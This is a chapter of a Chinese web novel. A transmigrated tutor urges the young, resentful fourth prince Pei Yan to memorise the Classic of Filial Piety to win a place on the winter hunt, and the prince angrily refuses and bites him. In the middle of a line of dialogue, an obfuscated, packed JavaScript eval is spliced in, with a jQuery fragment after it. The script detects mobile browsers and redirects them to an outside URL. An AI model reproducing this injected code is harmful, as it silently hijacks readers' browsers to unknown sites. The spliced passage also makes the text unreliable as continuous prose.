宋铭川的教学事业可谓一帆风顺。
旧的书裴晏全部读完以后宋铭川带走,又送来新的,他非常谨慎,只敢带些史记和游记,避免在入宫时搜身查带出什么。
虽然裴晏现在还是不受宠的四皇子,但从他被点做四皇子老师后府里流言就证明,一直有一双眼睛在盯着他。那天宋铭川安排元宝去打听张大娘,张大娘只说裴晏不祥之兆是她听来的。
宋铭川可不信这种流言能随意听来,便叫了元宝拿了点银钱给街上小乞丐,让这些乞丐帮他盯着张大娘的行踪,又让元宝去查些别的东西。
这也给了他警示——绝不能露出半点行迹,至少不能在书籍上暴露半点端倪。
他讲课时也都是打发几个小太监走,或者用讲故事的法子讲史记和游记,从裴晏的眼神里就能知道他真的听进去了,也明白宋铭川给他讲这些是为了什么。
宋铭川教完这些,又变着法给裴晏带书,偶尔夹两本哪个书生写的无关痛痒的时评。
他看出来了,裴晏几乎什么书都爱读,尤其爱山川游记和史书,裴晏什么点心也都吃,但最喜欢咸咸脆脆的,不喜欢糯叽叽。
为什么说是几乎什么书都爱读。
因为那本《孝经》是个例外,裴晏一点没动。
从他认识这两个字是什么后,那本书本来放在哪,现在还放在那儿,也不让人收拾。
好像是在和宋铭川较着劲。
宋铭川也不提醒他,只是把书换了一批又一批,也偏偏不动那本。
两个人就这么无视这本书许久后,眼看冬猎将至,宋铭川败下阵来。
他觉得这样不行。
《与君行》里冬猎曾是个重要的节点,文里曾一笔带过说裴晏获取到参与冬猎的资格,又借着冬猎博取了裴帝的初步信任,也在这场冬猎中认识了裴帝身边的暗卫、未来的暗卫长方宁。
方宁,是皇室暗卫内部之间博弈的输家,在冬猎中护主不利被悄无声息地处理,重伤时被裴晏发现救了他一命,随后死心塌地跟随裴晏,在方宁掌握了暗卫所后,整个本该效忠皇帝的暗卫所就变成裴晏的人手。
既然要让裴晏能进入冬猎的队伍里,宋铭川想的法子便是先藏拙,再示弱。
不久后裴帝便会有一场考教皇子的考试,裴晏只需要在学试关头装作什么都不知,只知道孝经,塑造一个纯孝的形象,裴帝为人最喜别人奉承,到时裴晏就必然能获得这次资格。
就像书里写的一样——书中的裴晏是在偷别的嫔妃宫殿果子时听到考教一事,偷走了《孝经》,千辛万苦才学会了磕磕绊绊几句,反倒误打误撞进了裴帝的眼。
如今裴晏倒偏不学这本书了。
于是在搬来新一轮书后,宋铭川在裴晏饶有兴致翻着新的书时,认命似的伸手拿过那本《孝经》,放柔语气。
“小殿下,你知道什么是‘忍耐’吗?”
裴晏不知道宋铭川为何会有这一问,摇头。
“那我换个问法,若有人要欺负你,你是当场便要还回去,还是找准时机再报仇?”
裴晏不假思索:“两者都要。”
倘若谁惹了他,就像仁贵,他必然要咬断对方的喉咙,再不济就埋伏起来,用石子打断他的腿——之前把他骗上四方阁的那个侍卫就这么断了腿,被清出宫门。
若他长大,必然要扒了这些人的皮,抽了他们的筋,活生生放血,叫他们哀嚎而死,那才能平了他的气。
他这么想着,嘴却闭得很严,没再说下去。
这几日看下来,他知道宋铭川的性格很好。
——好人是不会喜欢看到这些的,他也不想让宋铭川知道。
宋铭川要是知道了,说不定就不理他了。
裴晏眨眨眼,很乖巧地看着宋铭川。
嘴闭得很严并没有什么用,小狼崽方才的表情和刚刚眼睛里挡都挡不住的凶光已经昭示一切。
宋铭川:“……”
他差点忘了,仁贵欺辱裴晏时裴晏直接咬他喉管想杀了他,而暴君弑父弑兄登基后可是没手软过的,大杀特杀了一阵。
——这小狼崽现在不声不响,指不定脑子里已经在想怎么砍西瓜似的把这群人全砍了。
难不成还真让他就这么走上暴君那条路?宋铭川觉得不太行。
他尝试着教会裴晏一些道理,“那如果……有些事你不乐意做,但做了后有好处,你愿意勉强自己去试试看么?”
裴晏诧异地看着宋铭川,半晌后没摇头也没点头,“不知道。”
不知道好处有多少,也不知道自己有多不乐意。
裴晏有一种隐隐约约的感觉:宋铭川这话并不是随意说的。
果然下一刻,宋铭川便摊开了手上的书,有些无奈地朝他笑,“好了,小殿下,接下来我们读这本。”
他拿起来的时候裴晏就看清楚了上面两个字,小脸当即就是一黑,“不读。”
宋铭川:“……”
他头疼地揉揉太阳穴。
裴晏从小就没了妈,被自己爹丢弃到这破地方来,指望他老老实实学孝经,确实有点太难为他了。
若是放在同人文里,没有自己当老师,他一点一点爬上来,学书也不用解其意,倒还好说。
但现在他知其意,就不会再去主动学。
毕竟裴晏暴君之名,可是因为他日后是弑父弑兄踏上皇位的。
但这本书是必须要读的,起码不管是原著还是现在,都在计划之内,如果裴晏得不到冬猎资格,就接近不了暗卫所,就无法得到第一份助力,宋铭川不想让裴晏错过这份机缘,他努力去和裴晏沟通,“小殿下,臣并不是让你非得要学习它,你只需要把它背下来,不用理解其中意思都可以……”
话还没说完,裴晏哗地一下站起身,赌气似的背过身拒绝沟通:“我,不,读。”
小殿下和他熟起来以后,说话已经流利不少,语气也越发随意,但说翻脸就翻脸的性格一点没变,还凶凶的。
“诶……”宋铭川头疼叹气,“小殿下,《孝经》你好歹背一背,你现在学的太快了,也需要一点掩饰,我打听到,过几日陛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15299730|167114||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下那里会有一场考教……”
他话没说完,就对上裴晏冷冰冰的表情。
裴晏看着他,嘴角那一丁点的幅度也没有了,一字一句。
“老师真的不知道我为什么不想读这本书吗?”
裴晏很生气。
裴晏是不懂很多事,但他知道宫里都在争什么。
他从小就过目不忘,听到过太多“四皇子以后必然不能成大事”,“大皇子和三皇子争皇位”“太子之位空虚”一类的话语。
因为他不被皇上喜欢,显然不能称帝,所以所有人都看轻他。
因为有人想争这个皇位,把他拖下水,才点了宋铭川当他做老师。
宋铭川对他这么好,是不是也是想利用他?
是不是他毫无价值,宋铭川就会一脚把他踢开,再用同样温柔的表情去对别人这么说话?
只要想想那个场景,裴晏几乎就不能呼吸。
他要皇位,然后让所有人都给他的过去陪葬,为了这个结果若是一定要读那本该死的《孝经》,他也未必不能读,虚与委蛇而已,那个老皇帝听过的话,把他耳朵割掉就好了。
但不该是宋铭川把这本书交到他手上的。
也不该是宋铭川叫他来读。
他的处境宋铭川明明什么都知道,为什么还要逼他去读这本书。
这本书放在他们两中间这么长时间,他每天都在期待着宋铭川拿走,可是宋铭川不但不拿走,反而还要求他读。
裴晏越想越委屈,心口只觉得一阵一阵地疼。
“我知道。”宋铭川也收敛了笑意,注视着裴晏。
他知道自己是在过线,“尊重”一词他刻在骨子里对谁都明白不能揭人伤疤,作为娱乐圈的人他进圈的第一要义就是学会明哲其身,但因他而改变的剧情线上裴晏原本就有的东西,宋铭川不能让他失去。
“…但我更知道,若是小殿下没有找到破局之路,没有能在其他皇子前伪装自己的办法,那其他人会将殿下视作心腹大患,就像殿下的处境一样。”
超过十六岁的皇子就有资格封王,裴晏会有命活到那个时候吗?还是说什么都不管了和原著一样,当个被天下人唾骂日日有人恨不得刺杀他的暴君?
在原著中,暴君裴晏的自暴自弃和疯狂,难道就是很好的现状吗?
做错事的本便不是裴晏,得到恶果的也不该是裴晏。
裴晏看着宋铭川。
宋铭川说的东西他知道,他什么都懂,理智告诉他宋铭川是对的,可是情感上却像被拧了死结。
若是他自己,他可以学,若是福来那些太监们进言,他也可以学,谁都可以,可是不该是宋铭川。
不该是宋铭川这么说。
裴晏说不清自己这无缘无故的想法是什么,只一把将那《孝经》抢过,狠狠丢在地上!
宋铭川看到裴晏的眼神就觉得不好,裴晏现在的眼神又委屈又凶极了,甚至比之前要咬仁贵的时还凶,他忙伸出手企图安抚裴晏,没想到裴晏就顺势抓着他的手臂,狠狠一口咬下来!